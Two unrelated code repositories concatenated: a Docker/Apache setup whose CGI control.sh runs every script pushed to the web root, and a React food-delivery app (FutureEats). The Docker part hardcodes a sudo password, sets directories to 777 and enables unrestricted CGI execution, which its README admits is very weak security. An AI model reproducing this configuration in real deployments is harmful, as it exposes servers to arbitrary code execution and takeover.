<repo_name>DDS-P2/prompt2<file_sep>/Docker_Environment/www/html/control.sh #!/bin/bash # BASH SCRIPT FOR WEB SERVER THAT RUNS ALL SCRIPTS IN DIRECTORY # MAINTAINED BY <NAME> # VERSION NUMBER 1.0 echo "Content-type: text/html" echo "" #echo "<h1>$(hostname -s)</h1>" echo '<html>' echo '<head>' echo '<center><h1>SCRIPT ANALYSIS</h1>' echo '<p><b>Running All Bash & Python Scripts In Directory</b></p></center>' echo '<hr>' echo '<br><br><br>' BASH_SCRIPTS=*.sh PYTHON_SCRIPTS=*.py echo "<h1>$(sudo chmod 111 ugh.py)</h1>" # Make script executable for script in $BASH_SCRIPTS do if [ "$script" != "control.sh" ] # Do not run self then echo '<p><b><center>RUNNING NEXT SCRIPT</center></b></p>' echo '<hr>' echo $script echo '<br>' ./$script echo '<br>' echo '<p><b><center>SCRIPT IS COMPLETE</center></b></p>' echo '<hr>' echo '<br>' fi done for script in $PYTHON_SCRIPTS do echo '<p><b><center>RUNNING NEXT SCRIPT</center></b></p>' echo '<hr>' echo $script echo '<br>' ./$script echo '<br>' echo '<p><b><center>SCRIPT IS COMPLETE</center></b></p>' echo '<hr>' echo '<br>' done echo '<br>' echo '<p><center><b></u>ALL SCRIPTS HAVE COMPLETED</u></center></b</p>' echo '<hr>' echo '<br>' <file_sep>/Docker_Environment/www/html/helloWorld.py #!/usr/bin/env python __author__ = "<NAME>" print "Hello World" <file_sep>/Docker_Environment/Dockerfile FROM ubuntu:latest MAINTAINER <NAME> <<EMAIL>> #This RUN updates, upgrades and installs all of the necessary packages RUN apt-get update && \ apt-get upgrade -y && \ apt-get install -y apache2 openssh-server openssl git python libapache2-mod-python wget gconf2 gconf-service libgtk2.0-0 libnotify4 libxtst6 libnss3 gvfs-bin xdg-utils #This RUN sets up the user admin1, adds them as a sudoer and sets their password RUN useradd admin1 && \ usermod -aG sudo admin1 && \ echo admin1:empiredidnothingwrong | chpasswd #This command exposes ports 443 and 22 to be used by the host EXPOSE 443 EXPOSE 22 #During the Docker Build, this copies the configuration files from the tarball to the container image COPY www /var/www COPY apache2 /etc/apache2 COPY GitServer /home/admin1/GitServer COPY cgi-bin /usr/lib #This is a script that will run at the start of a container CMD service apache2 start && \ service ssh start && \ chmod -R 777 /var/www && \ chmod -R 777 /home/admin1 && \ cd /home/admin1/GitServer && \ su admin1 <file_sep>/Docker_Environment/start.sh #!/bin/bash #This command build the docker image to be run using the Dockerfile and local directories docker build -t molnar/dds . echo "\n" echo "Finished build, starting container...\n" echo "\n" #Starts the docker container, exposed port 443 and give the user a shell docker run -it -p 443:443 molnar/dds<file_sep>/README.md # Apache2 Web Server & Git Server Environment with Docker > This docker container allows scripts pushed from a Git Server to run automatically on an Apache Web Server via https This environment contains a Git Server and an Apache2 Web Server running with self-signed certificates. The Git Server has a remote repository located at the Web Server with an alias called 'Admin'. When executable scripts, such as python or bash, are pushed, they utilize a post-receive git hook located at the remote repository to transfer to the Web Server's Document Root. When a user opens a browser to https://localhost, the Web Server redirects from the index.html file to the control.sh script. This control.sh script is able to run on the Web Server because it is is a Common Gateway Interface (CGI) script. Apache2 has been configured to run CGI scripts in the document root instead of just the traditional /usr/lib/cgi-bin/ directory. This control.sh script runs all scripts located in the document root directory and dislays their output on the webpage. The Web Server could be set up on any webpage but localhost was used as default in this environment. ## Table of Contents - [Security](#security) - [Install](#install) - [Usage](#usage) - [Setup](#setup) - [License](#license) ## Security - Default password for all accounts and SSL Key: <PASSWORD>idnothingwrong - Self signed certificates are located at: ``` /etc/apache2/ssl/localcerts/apache.pem /etc/apache2/ssl/localcerts/apache.key ``` - In order to effectively run Bash and Python scripts automatically from the Document Root directory, the Apache2 config file had to be set with a very weak security footprint. For example, the Document Root directory allows for the execution of any cgi-script or Option. - Though, in this setup, the output of the scripts are shown on the webpage, it would be trivial to suppress the output and have scripts running in the background without the user knowing. ## Install 1. First, make sure Docker is installed following the directions found at - https://docs.docker.com/install/ 2. Next, download and untar the Docker_Environment folder located in this repository 3. From inside the Docker_Environment directory, run start.sh to build and instantiate the image: ``` $ sudo ./start.sh ``` 2. Once finished, the user will be given a bash shell inside the container which is hosting the Web Server and the Git Server > To run this program, clone this repository, or download the tarball, the directory should include the following items: > - Dockerfile > - start.sh > - README.md > - GitServer/ > - apache2/ > - cgi-bin/ > - www/ - NOTE: Ubuntu 14.04 is known to have issues running docker containers. ## Usage Example Usage Workflow: - 'ps aux' → ps.sh → git push → web server runs ps.sh and displays at localhost:443 1. Docker should automatically start you in the GitServer directory, but if not, traverse to /home/admin1/GitServer 2. Once in GitServer/ provide the name and email using the following commands: ``` git config --global user.name admin git config --global user.email <EMAIL> ``` 3. Next, create a script here on the local Git Server: ``` $ echo "ps -aux" > example.sh ``` 4. Make the script executable with the following command: ``` $ sudo chmod +x example.sh ``` 5. Push Script to Remote Repository ``` $ sudo git add example.sh $ sudo git commit -m "My first script" $ sudo git push admin NOTE: admin is the alias used for the remote git repository located in the Apache2 Web Server ``` 4. Open a web browser such as Firefox 5. Type in the following URL: https://localhost:443 6. Watch the output of your script display on the screen! NOTE: The WebPage will show the output for all Bash and Python scripts currently located in the document root directory! ## Setup - This explains how I configured the environment and is NOT necessary for use - These commands are only if you want to know how this was made 1. Create Local Git Server ``` $ git init ``` 2. Set git name and email configuration ``` $ git config --global user.email "<EMAIL>" $ git config --global user.name "<NAME>" ``` 3. Create first testing script file ``` $ echo "hello, world!" > test.sh ``` 4. Enable Apache2 Web Server ``` $ sudo service apache2 start ``` 5. Enable Apache2 SSL module in /etc/apache2/mods-available directory ``` $ sudo a2enmod ssl.load ``` 6. Create ssl/localcerts folder in Apache2 directory to store keys ``` $ mkdir /etc/apache2/ssl/localcerts ``` 7. Create SSL Key for Self-Signed Cert and HTTPS Traffic over 443 ``` $ openssl req -new -x509 -days 365 -nodes -out /etc/apache2/ssl/apache.pem -keyout /etc/apache2/ssl/apache.key NOTE: Used 'localhost' for CommonName for testing environment ``` 8. Edit Apache2 default-ssl.conf file found in /apache2/sites-available directory ``` SSLCertificateFile /etc/apache2/ssl/localcerts/apache.pem SSLCertificateKeyFile /etc/apache2/ssl/localcerts/apache.key ``` 9. Edit Apache2 000.default.conf file found in /apache2/sites-available directory ``` SSLCertificateFile /etc/apache2/ssl/localcerts/apache.pem SSLCertificateKeyFile /etc/apache2/ssl/localcerts/apache.key ``` 10. Ensure that /etc/hosts file contains the following line ``` 127.0.0.1 localhost ``` 11. Use firefox to browse to https://localhost:443 and ensure self-signed certificate is functional 12. It will ask you to make an exception, click allow 13. Install curl for testing ``` $ sudo apt-get install curl ``` 14. Verify https with curl using the following command ``` $ curl -k https://localhost:443 NOTE: the [-k] flag is used to bypass security restraint from self-signed certificate ``` 15. Next, I began to configure the use of Common Gateway Inteface (CGI) scripts. 16. Enable the cgi module located in the /etc/apache2/mods-available directory ``` $ sudo a2enmod cgid NOTE: The cgid module is a more efficient version of the regular cgi module. ``` 17. CGI scripts by default are run out of the /usr/lib/cgi-bin directory 18. To ensure the module is functional, create a test.sh CGI script here ``` #!/bin/bash printf "Content-type: text/html\n\n" printf "Hello World!\n" ``` 19. Make the scripy executable ``` $ sudo chmod +x test.sh ``` 20. Browse to https://localhost/cgi-bin/test.sh 21. You should see the following output and not the code itself: ![cgi-test](cgi-test.png) 22. Now we will get CGI scripts to run from the Web Server's DocumentRoot directory 23. Edit the directives for the /var/www/html Directory in apache2.conf file to allow cgi scripts ``` <Directory /var/www/html/> AddHandler cgi-script .cgi .py .sh Options Indexes FollowSymLinks Includes ExecCGI AllowOverride All Require all granted </Directory> ``` 24. Create a remote git repository at the Apache2 Document Root ``` $ mkdir /var/www/html/website.git $ sudo git init --bare ``` 25. Create a post-receive hook located at website.git/hooks/ to check out the latest tree to /var/www/html ``` $ cat > hooks/post-receive #!/bin/sh GIT_WORK_TREE=/var/www/html git checkout -f $ sudo chmod +x hooks/post-receive ``` 26. Go back to the Local GitServer, create an alias for the remote repository, and push the test.sh script ``` $ git remote add admin ssh://admin1@localhost/var/www/html/website.git $ git push admin +master:refs/heads/master ``` 27. With the alias created, future pushes can be done as follows: ``` $ git add [fileName] $ git checkout -m "My message here" $ git push admin ``` 28. Back on the Web Server directory at /var/www/html/ you should now see the test.sh script 29. Next, edit the index.html default filt to redirect to a CGI bash script that will be used to manage the webpage and scripts ``` <meta http-equiv="refresh" content="0;url=https://localhost/control.sh"> ``` 30. This line will run the CGI control.sh bash script whenever a user browses to https://localhost 31. Control.sh is a CGI script that includes html and iteratively calls all of the bash and python scripts located in the directory 32. Open a web browser to https://localhosts and you should immediately see the output of your test.sh script 33. Other testing scripts were made such as diskUsage.sh and pythonTest.sh ## License [MIT @ <NAME>](LICENSE) <file_sep>/Docker_Environment/README.md # README for Docker Environment - <NAME> submission for Prompt 2 for the DDS Project Team. ## USAGE This project utilizes Docker and was created on a *Nix* machine. The dependencies required to use this project are: ``` - docker - bash - web browser ``` To run this program, clone this repository, or download the tarball. The directory should include the following files and Directories. ``` - Dockerfile - start.sh - README.md - GitServer/ - apache2/ - cgi-bin/ - www/ ``` From inside the repository, run the start.sh bash script. This script will build the image, then instantiate it. Once instantiated, the user will be given a bash shell inside the container that is hosting both the web server, and the Git Server. To add commit a file, first configure the global username and email using ``` git config --global user.name admin git config --global user.email <EMAIL> git add <filename> git commit -m "message" git push admin master ``` To visit the results webpage, browse to https://localhost <file_sep>/Docker_Environment/www/html/diskUsage.sh #!/bin/bash echo "SHOW DISK USAGE" echo "<br><br>" df -h #| grep -v Filesystem' <file_sep>/Docker_Environment/GitServer/pythonTest.py #!/usr/bin/env python print "This is a test of python"
bd10c05635afb2bc23872bc01db12e247461072b
[ "Markdown", "Python", "Dockerfile", "Shell" ]
8
Shell
DDS-P2/prompt2
4645caab4c139faaea31a9431e17ca897c4fbddf
d804adae36439f90c87426747c9bf4852472fd07
refs/heads/main
<repo_name>HicirTech/JustWantPDF<file_sep>/README.md # Just Want PDF <a href="https://www.npmjs.com/package/just-want-pdf"> <img src="https://img.shields.io/npm/v/just-want-pdf.svg?style=flat-square" alt="NPM Version" /> </a> Just-Want-PDF is a package to help you to get PDF in node.js envrionment. Takes in many files, marge them, and output a single PDF result <hr/> <a href="https://hicirtech.github.io/JustWantPDF/"> Demo Here </a> ### Accept input file types `.PDF` `.jpg` `.jpge` `.png` ### Output `Byte Array` or `Blob Object` or `File Object` ### Usage install package `npm i just-want-pdf` import to your project `import converter from "just-want-pdf";` Convertion **Assumption** ``` import converter from "just-want-pdf"; var fileList = [File1, File2, File3...]; ``` to byte array ` const result = converter.toByte(fileList)` to blob ` const result = converter.toBlob(fileList)` to File ` const result = converter.toFile(fileList)` for display in iframe ``` ..... var result = convert.toBlob(fileList); const url =URL.createObjectURL(result); //use iframe to display url <iFrame src = {url} /> .... ``` <file_sep>/index.js import { PDFDocument, StandardFonts, rgb } from "pdf-lib"; const toBuffer = async (file) => { var buffer = await file.arrayBuffer(); return buffer; }; const toByte = async (files) => { const pdfDoc = await PDFDocument.create(); for (var i = 0; i != files.length; i++) { var buffer = await toBuffer(files[i]); var type = files[i].type; if (type == "application/pdf") { const loader = await PDFDocument.load(buffer); var j = 0; while (true) { try { const [firstDonorPage] = await pdfDoc.copyPages(loader, [j]); pdfDoc.addPage(firstDonorPage); j++; } catch (e) { break; } } } else { const page = pdfDoc.addPage(); const { width, height } = page.getSize(); var image; if (type == "image/jpeg") { image = await pdfDoc.embedJpg(buffer); page.setSize(image.width, image.height); page.drawImage(image); } else if (type == "image/png") { image = await pdfDoc.embedPng(buffer); page.setSize(image.width, image.height); page.drawImage(image); } } } const pdfBytes = await pdfDoc.save(); return pdfBytes; }; const toBlob = async (files) => { var b = await toByte(files); var blob = new Blob([b], { type: "application/pdf" }); return blob; }; const toFile = async (files) => { var blob = toBlob(files); var f = new File([blob], "result.pdf"); return f; }; const converter = { toFile: toFile, toByte: toByte, toBlob: toBlob, }; export default converter;
aedd00726fdfc800a30d62e843a665628838a39e
[ "Markdown", "JavaScript" ]
2
Markdown
HicirTech/JustWantPDF
1708550b11b172129ee5e0c590ab06718e885f90
5610f0bfa3e71a96ace62872264e652af6f41f36
refs/heads/master
<repo_name>Cerunnos/ruby-objects-has-many-through-lab-web-010818<file_sep>/lib/song.rb class Song attr_accessor :name,:genre,:artist def initialize(name,genre) @name=name @genre=genre genre.add_song(self) end end
1b9b3d5046da3ca74251506e32892597e15b60a4
[ "Ruby" ]
1
Ruby
Cerunnos/ruby-objects-has-many-through-lab-web-010818
b189406844817b43b43844619a483d81bb9637c2
c3fdba7829d8b64a1dd0de20ba89f1d2fb47388d
refs/heads/master
<repo_name>jaygarcia/pi-setup<file_sep>/install.sh ## Install core libs apt-get update -y apt-get upgrade -y apt-get dist-upgrade -y apt-get install g++ vim make libsdl2-dev libsdl2-image-dev rsync git -y mkdir -p tmp cd tmp #BOOST echo "Downloading Lib Boost 1.70.0 ...." wget -c https://dl.bintray.com/boostorg/release/1.70.0/source/boost_1_70_0.tar.gz -O - | tar -xz echo "Downloading CMake..." wget -c https://github.com/Kitware/CMake/releases/download/v3.15.1/cmake-3.15.1.tar.gz -O - | tar -xz echo "Compiling Boost..." cd boost_1_70_0/ ./bootstrap.sh ./b2 -j4 --with-iostreams --with-thread --with-headers threading=multi install cd .. cd cmake-3.15.1 ./configure make -j 4 install cd ../.. rm -rf tmp # RGB Matrix server stuff. TODO: Move to ModusCreateOrg git clone https://github.com/jaygarcia/network-rgb-matrix-display.git cd network-rgb-matrix-display/server ./mkbuild.sh echo "Done" #shutdown -h now
d49bdf2d9f753dd32a4277b525dad1d8e2ab1f5a
[ "Shell" ]
1
Shell
jaygarcia/pi-setup
a5d7904751dc56da368039039cbbebbe37061d4f
2b94eb0f39d08d1fc3aa7cbdaab9b2ccba426c29
refs/heads/master
<file_sep>export const initialState = { mostraAlertAndamento: false, andamentoPedido: {}, enderecoUser: [ { "city": "São Paulo", "complement": "71", "state": "SP", "street": "R. Afonso Braz", "neighbourhood": "Vila N. Conceição", "number": "177" } ], cart: [{ "restaurant": { "products": [ { "id": "2wvQI3i8Zf2fMvkEq4Vo", "category": "Refeição", "description": "A melhor pedida é japonesa!", "price": 24.3, "photoUrl": "https://static-images.ifood.com.br/image/upload/f_auto,t_high/pratos/51fed2ca-70a6-4069-a203-65536c856035/201808311212_sashi.png", "name": "<NAME>" }, { "id": "BmDOBMDVYDAomt7vQtuP", "category": "Refeição", "description": "A melhor pedida é japonesa!", "price": 52.7, "photoUrl": "https://static-images.ifood.com.br/image/upload/f_auto,t_high/pratos/51fed2ca-70a6-4069-a203-65536c856035/201802031948_20717381.jpg", "name": "<NAME>" }, ], "id": "10", "name": "Tadashii", "shipping": 13, "description": "Restaurante sofisticado busca o equilíbrio entre ingredientes que realçam a experiência da culinária japonesa.", "address": "Travessa Reginaldo Pereira, 130 - Ibitinga", "logoUrl": "http://soter.ninja/futureFoods/logos/tadashii.png", "deliveryTime": 50, "category": "Asiática" }} ], products: [], restaurants:[], abreLoading: false, }; export const CardReducer = (state, action) => { switch (action.type) { case 'PEGA_RESTAURANTES': const listaDeRestaurantes = action.restaurants return { ...state, restaurants: listaDeRestaurantes }; case 'PEGA_PRODUTOS': const listaDeProdutos = action.products return { ...state, products: listaDeProdutos }; case 'PEGA_ENDERECO': const endereco = action.endereco return { ...state, enderecoUser: endereco }; default: return state; } }; export function Loading (state, action) { switch (action.type) { case 'LOADING': let isOpenLoad = action.isOpen return { ...state, abreLoading: isOpenLoad } case 'VER_ANDAMENT0': let pedido = action.isWaiting return { ...state, andamentoPedido: pedido } default: return state; } } export function CartReducer(state, action) { switch (action.type) { case "ADD": const newProduct = action.product; const productIndex = state.cart.findIndex((product) => { return product.id === newProduct.id; }); let newCart; if (productIndex === -1) { newCart = [...state.cart, { ...newProduct, quantity: 1 }]; } else { newCart = state.cart.map((product, index) => { if (index === productIndex) { return { ...product, quantity: product.quantity + 1 }; } }); } return { products: state.products.push(newCart) }; case "REMOVE": return { products: state.products.filter() }; default: return state; } } <file_sep>import { useState } from "react"; export const baseUrl = "https://us-central1-missao-newton.cloudfunctions.net/futureEatsB"; export const useForm = (initialValues) => { const [form, setForm] = useState(initialValues); const onChange = (name, value) => { const newForm = { ...form, [name]: value }; setForm(newForm); }; const resetForm = () => { setForm(initialValues); }; return { form, onChange, resetForm }; }; export const autorização = (history) => { const token = window.localStorage.getItem("token"); if (token === null) { history.push("/Login"); } }; <file_sep>import styled from 'styled-components' import { TextField } from '@material-ui/core' export const Container = styled.div` width: 100vw; height: 100vh; margin-left: auto; margin-right: auto; ` export const Paragrafo = styled.p` display: flex; justify-content:center; margin-top: 2.50vh; padding: 12px; ` export const ContainerInput = styled.div` display: grid; justify-items: center; grid-auto-columns: 1fr; grid-gap: 2.50vh; ` export const Input = styled(TextField)` width: 91.11vw; height: 8.75vh; ` export const Botao = styled.button` display: flex; justify-content: center; margin-top: 0px; margin-left: 4.44vw; margin-right: 4.44vw; width: 91.11vw; height: 6.56vh; background-color: #5cb646; border: 0px; text-align: center; font-size: 1em; padding: 12px; ` <file_sep>import React, { useEffect, useState } from "react"; import { createMuiTheme, ThemeProvider } from "@material-ui/core/styles"; import Button from "../../Components/Button"; import Header from "../../Components/Header"; import { Text } from "./styles"; import { useForm, autorização } from "../../functions"; import "./EditarEndereco.css"; import { useHistory } from "react-router-dom"; import { pegaEndereço, upDateAddress } from "../../functions/integracao"; const MyTheme = createMuiTheme({ palette: { primary: { main: "#b8b8b8", contrastText: "#b8b8b8", }, }, }); const EditarCadastro = () => { const { form, onChange, resetForm } = useForm({ logradouro: "", numero: "", complemento: "", bairro: "", cidade: "", estado: "", }); useEffect(() => { autorização(history); pegaEndereço().then((res) => { form.logradouro = res.street; form.numero = res.number; form.complemento = res.complement; form.bairro = res.neighbourhood; form.cidade = res.city; form.estado = res.state; }); }, []); const handleInput = (event) => { onChange(event.target.name, event.target.value); }; const history = useHistory(); const onClickBotao = async (event) => { event.preventDefault(); const body = { street: form.logradouro, number: form.numero, neighbourhood: form.bairro, city: form.cidade, state: form.estado, complement: form.complemento, }; await upDateAddress(body); resetForm(); }; return ( <ThemeProvider theme={MyTheme}> <div className={"telatoda"}> <Header title={"Editar"} back /> <form onSubmit={onClickBotao}> <Text label={"Logradouro"} value={form.logradouro} name={"logradouro"} onChange={handleInput} variant={"outlined"} required /> <Text label={"Número"} value={form.numero} name={"numero"} onChange={handleInput} min={1} variant={"outlined"} required /> <Text label={"Complemento"} value={form.complemento} name={"complemento"} onChange={handleInput} variant={"outlined"} /> <Text label={"Bairro"} value={form.bairro} name={"bairro"} onChange={handleInput} variant={"outlined"} required /> <Text label={"Cidade"} value={form.cidade} name={"cidade"} onChange={handleInput} variant={"outlined"} required /> <Text label={"Estado"} value={form.estado} name={"estado"} onChange={handleInput} variant={"outlined"} required /> <Button id={"submit-button"} type={"submit"} title={"Salvar"} active={true} /> </form> </div> </ThemeProvider> ); }; export default EditarCadastro; <file_sep>import React, {useState} from 'react' import axios from 'axios' import {Container, Imagem, Paragrafo, ContainerInput, Input, Botao } from './styles' import Header from '../../Components/Header/index' import logo from '../../img/logo-invertido.png' import Password from '../../Components/InputPassword' import { useHistory } from "react-router"; const Registro = () => { const [nome, setNome] = useState("") const [email, setEmail] = useState("") const [cpf, setCpf] = useState("") const [senha, setSenha ] = useState("") const [confirmar, setConfirmar] = useState("") const history = useHistory() const inputNome = (event) => { setNome(event.target.value) } const inputEmail = (event) => { setEmail(event.target.value) } const inputCpf = (event) => { setCpf(event.target.value) } const inputSenha = (event) => { setSenha(event.target.value) } const inputConfirma = (event) => { setConfirmar(event.target.value) } const enviarFormulario = () => { if (senha !== confirmar) { alert("as senhas sao diferentes") } const body = { name: nome, email: email, cpf: cpf, password: <PASSWORD>} axios.post('https://us-central1-missao-newton.cloudfunctions.net/futureEatsB/signup', body ).then((response) => { console.log(response.data.token) localStorage.setItem("token", response.data.token) history.push("/cadastro-endereco") }).catch(error => { console.log(error.response) alert("erro dados invalidos") }) } return ( <> <Header back/> <Container> <Imagem src={logo}/> <Paragrafo>Cadastrar</Paragrafo> <ContainerInput> <Input onChange={inputNome} label="Nome" placeholder="Nome e sobrenome" variant="outlined" value={nome} name='name' /> <Input onChange={inputEmail} label="E-mail" placeholder="<EMAIL>" variant="outlined" value={email} name='email' /> <Input onChange={inputCpf} label="CPF" placeholder="000.000.000-00" variant="outlined" value={cpf} name='cpf' /> <Password onChange={inputSenha} label="Senha" placeholder="Senha" value={senha} name='password' /> <Password onChange={inputConfirma} label="Confirmar" placeholder="Confirme a senha anterior" variant="outlined" value={confirmar} name='confirmar' /> <Botao onClick={enviarFormulario}>Criar</Botao> </ContainerInput> </Container> </> ) } export default Registro <file_sep>import React, { useState, useEffect } from "react"; import { Container } from "./styles"; import CartCard from "../../Components/CartCard"; import { getProducts } from "../../functions/integracao.js"; function PlaceholderCarrinho() { return ( <Container> <CartCard />; </Container> ); } export default PlaceholderCarrinho; <file_sep>import React, { useState, useEffect, useContext } from "react"; import { createMuiTheme, ThemeProvider } from "@material-ui/core/styles"; import { useHistory } from "react-router"; import { NameText, AdressContainer, BotaoEdit, UpperContainer, Endereço, LowerContainer, AdressLowerContainer, PedidosText, ProfileContainer, HistoricoContainer, BasicInfoText, StreetText, } from "./styles"; import { EditOutlined } from "@material-ui/icons"; import CardHistorico from "../../Components/CardHistorico"; import Footer from "../../Components/Footer"; import Header from "../../Components/Header"; import { autorização } from "../../functions"; import { getProfile, pegaEndereço } from "../../functions/integracao"; import CardContext from "../../functions/CardContext"; import Loading from './../../Components/Loading/Loading'; const MyTheme = createMuiTheme({ palette: { primary: { main: "#b8b8b8", contrastText: "#b8b8b8", }, }, }); export function Perfil(props) { const history = useHistory(); const loadContexto = useContext(CardContext); const [profile, setProfile] = useState({}); const [address, setAddress] = useState({}); const [open, setOpen] = useState(true) useEffect(() => { autorização(history); getProfile().then((response) => {setProfile(response); setOpen(false)}); pegaEndereço().then((res) => setAddress(res)); }, []); return ( <ThemeProvider theme={MyTheme}> <ProfileContainer> <Header title={"Meu perfil"} /> <UpperContainer> <NameText>{profile.name}</NameText> <BotaoEdit onClick={() => history.push("/perfil/cadastro")}> <EditOutlined /> </BotaoEdit> </UpperContainer> <LowerContainer> <BasicInfoText>{profile.email}</BasicInfoText> <BasicInfoText>{profile.cpf}</BasicInfoText> </LowerContainer> <AdressContainer> <Endereço>Endereço cadastrado</Endereço> <AdressLowerContainer> {address.street === undefined ? ( <p>...</p> ) : ( <StreetText> {address.street} nº{address.number}, {address.neighbourhood} </StreetText> )} <BotaoEdit onClick={() => history.push("/perfil/endereco")}> <EditOutlined /> </BotaoEdit> </AdressLowerContainer> </AdressContainer> <HistoricoContainer> <PedidosText>Histórico de pedidos</PedidosText> <CardHistorico /> </HistoricoContainer> <Footer page={"perfil"} /> <Loading openLoading={open} /> </ProfileContainer> </ThemeProvider> ); } export default Perfil; <file_sep>import React, { useState, useEffect, useContext } from "react"; import { createMuiTheme, ThemeProvider } from "@material-ui/core/styles"; import Button from "../../Components/Button"; import Header from "../../Components/Header"; import { Text } from "./styles"; import { useForm, autorização } from "../../functions"; import "./EditarCadastro.css"; import { upDateProfile, getProfile } from "../../functions/integracao"; import { useHistory } from "react-router-dom"; import Loading from './../../Components/Loading/Loading'; import CardContext from "../../functions/CardContext"; const MyTheme = createMuiTheme({ palette: { primary: { main: "#b8b8b8", contrastText: "#b8b8b8", }, }, }); const EditarCadastro = () => { const history = useHistory(); const loadContexto = useContext(CardContext); const { form, onChange, resetForm } = useForm({ cpf: "", email: "", name: "", }); useEffect(() => { autorização(history); // getProfile().then((res) => { // form.cpf = res.cpf; // form.email = res.email; // form.name = res.name; // }); }, []); const handleInput = (event) => { onChange(event.target.name, event.target.value); }; const onClickBotao = (event) => { event.preventDefault(); const body = { cpf: form.cpf, email: form.email, name: form.name, }; upDateProfile(body, loadContexto.dispatch); }; const teste = () => { console.log(form); }; return ( <ThemeProvider theme={MyTheme}> <div className={"telatoda"}> <Header title={"Editar"} back /> <button onClick={teste}>teste</button> <form onSubmit={onClickBotao}> <Text label={"Nome"} value={form.name} name={"name"} onChange={handleInput} variant={"outlined"} required /> <Text label={"Email"} value={form.email} name={"email"} onChange={handleInput} variant={"outlined"} required /> <Text label={"CPF"} value={form.cpf} name={"cpf"} onChange={handleInput} variant={"outlined"} required /> <Button id={"submit-button"} type={"submit"} title={"Salvar"} active={true} /> </form> <Loading openLoading={loadContexto.loadIsOpen} /> </div> </ThemeProvider> ); }; export default EditarCadastro; <file_sep>import React, { useEffect, useState } from "react"; import { useHistory } from "react-router-dom"; import { Tabs, Tab } from "@material-ui/core"; import { FooterContainer } from "./styles"; import home from "../../img/home.svg"; import homeSelected from "../../img/home-selected.svg"; import carrinho from "../../img/carrinho.svg"; import carrinhoSelected from "../../img/carrinho-selected.svg"; import perfil from "../../img/perfil.svg"; import perfilSelected from "../../img/perfil-selected.svg"; const Footer = (props) => { const [homeTabImage, setHomeTabImage] = useState(home); const [cartTabImage, setCartTabImage] = useState(carrinho); const [profileTabImage, setProfileTabImage] = useState(perfil); useEffect(() => { switch (props.page) { case "carrinho": setCartTabImage(carrinhoSelected); break; case "perfil": setProfileTabImage(perfilSelected); break; default: setHomeTabImage(homeSelected); } }, [props.page]); let history = useHistory(); return ( <FooterContainer> <Tabs variant={"fullWidth"} textColor={"primary"} value={props.page}> <Tab value={"home"} icon={<img src={homeTabImage} alt={"Ícone Home"} />} onClick={() => history.push("/home")} /> <Tab value={"carrinho"} icon={<img src={cartTabImage} alt={"Ícone Carrinho"} />} onClick={() => history.push("/carrinho")} /> <Tab value={"perfil"} icon={<img src={profileTabImage} alt={"Ícone Perfil"} />} onClick={() => history.push("/perfil")} /> </Tabs> </FooterContainer> ); }; export default Footer; <file_sep># FutureEats Projeto semanal do curso feito em conjunto com mais 4 alunos que consistia em replicar o UberEats <br> <br> ## Principais tecnologias/ferramentas utilizadas 1. React 2. Hooks 3. Reducer 4. Autenticação 5. Estilização Avançada com CSS 6. Uso de bibliotecas de UI (MaterialUI) 7. Aplicações com múltiplas rotas utilizando React Router 8. Formulários com Validação <br><br> 💻 [Deploy da aplicação (Otimizado para Mobile)](http://standing-flock.surge.sh/) ## Demonstração: <p align="center"> <img align='center' height='400' src='https://docs.google.com/uc?id=1skVqHmglIPxS6ULqvLgsHzKnX5U6ZHs6'> </p> <br> ## Telas: <p align="center"> <img align='center' height='400' src='https://docs.google.com/uc?id=15ve9p8orbVwV6Vdpc9mPK3hhotxNU3IA'> </p> <p align="center"> <img align='center' height='400' src='https://docs.google.com/uc?id=1cOTPzRSpsB9KNQIWTr-pZJrgZqIB-6lr'> </p> <p align="center"> <img align='center' height='400' src='https://docs.google.com/uc?id=1RShx5Ik19AOHFIM6K0qmSxyY6NpHzZ4G'> </p> <p align="center"> <img align='center' height='400' src='https://docs.google.com/uc?id=1fOmBnf1Ga29bGzY56lioY_ScF6vDGDBB'> </p> <p align="center"> <img align='center' height='400' src='https://docs.google.com/uc?id=1gHh4qulbWA7ORhGj_q5MXhO3OFk_HWtE'> </p> <p align="center"> <img align='center' height='400' src='https://docs.google.com/uc?id=1QGS9LMQsOy7ycegli9W69RWHnXTGOQrE'> </p> <p align="center"> <img align='center' height='400' src='https://docs.google.com/uc?id=1MjU7jy86lU_gra8H8kfkIIsIf79JCTU3'> </p> <p align="center"> <img align='center' height='400' src='https://docs.google.com/uc?id=1Jn8TBIMK9kZKVmmNXXqCSZuCTTvWzUi0'> </p> <p align="center"> <img align='center' height='400' src='https://docs.google.com/uc?id=10mj2Un0ZVcwBUUzbf7rpszmirsJCnGQy'> </p> <p align="center"> <img align='center' height='400' src='https://docs.google.com/uc?id=1llnYE4mGbgL_lgTp0HlppLYJiqRMmIJT'> </p> <br> <br> ## Co-autores 🤝[(<NAME>)](https://github.com/walteraandrade)<br> 🤝[(<NAME>)](https://github.com/wcardosos)<br> 🤝[(<NAME>)](https://github.com/maxassis)<br> 🤝[(<NAME>)](https://github.com/JulianaBerdeville) <file_sep>import React from "react"; import { useHistory } from "react-router-dom"; import { FeedCardContainer, ProductImg, StoreName, TextContainer, OrderDetailsDem, OrderDetailsFre, ContainerImg, } from "./styles"; function FeedCard(props) { let history = useHistory(); const goToRestaurante = (id) => { history.push(`/restaurante/${props.idRest}`); }; return ( <FeedCardContainer onClick={() => { goToRestaurante(props.idRest); }} > <ContainerImg> <ProductImg src={props.foto} /> </ContainerImg> <TextContainer> <StoreName>{props.nome}</StoreName> <OrderDetailsDem>{props.demora} min</OrderDetailsDem> <OrderDetailsFre> {props.frete === "" ? "Frete Grátis" : `Frete R$${props.frete}`} </OrderDetailsFre> </TextContainer> </FeedCardContainer> ); } export default FeedCard; <file_sep>import styled from 'styled-components' import { TextField } from '@material-ui/core' export const Container = styled.div` display: flex; flex-direction: column; width: 100vw; height: 100vw; margin-left: auto; margin-right: auto; ` export const Imagem = styled.img` width: 28.8vw; margin: 3.75vh auto 4.375vh auto; width: 104px; height: 58px; ` export const Paragrafo = styled.p` display: flex; justify-content:center; font-family: Roboto; font-size: 16px; font-weight: normal; font-stretch: normal; font-style: normal; line-height: normal; letter-spacing: -0.108px; text-align: center; color: #000000; margin-bottom: 5vh; ` export const ContainerInput = styled.div` display: grid; justify-items: center; align-items: start; grid-auto-columns: 1fr; grid-gap: 2.50vh; ` export const Input = styled(TextField)` width: 91.11vw; height: 8.75vh; ` export const Botao = styled.button` display: flex; justify-content: center; margin-left: 4.44vw; margin-right: 4.44vw; width: 91.11vw; background-color: #5cb646; border: 0px; text-align: center; font-size: 1em; padding: 12px; ` <file_sep>import styled from "styled-components"; import { Typography } from "@material-ui/core"; //usarei px nas 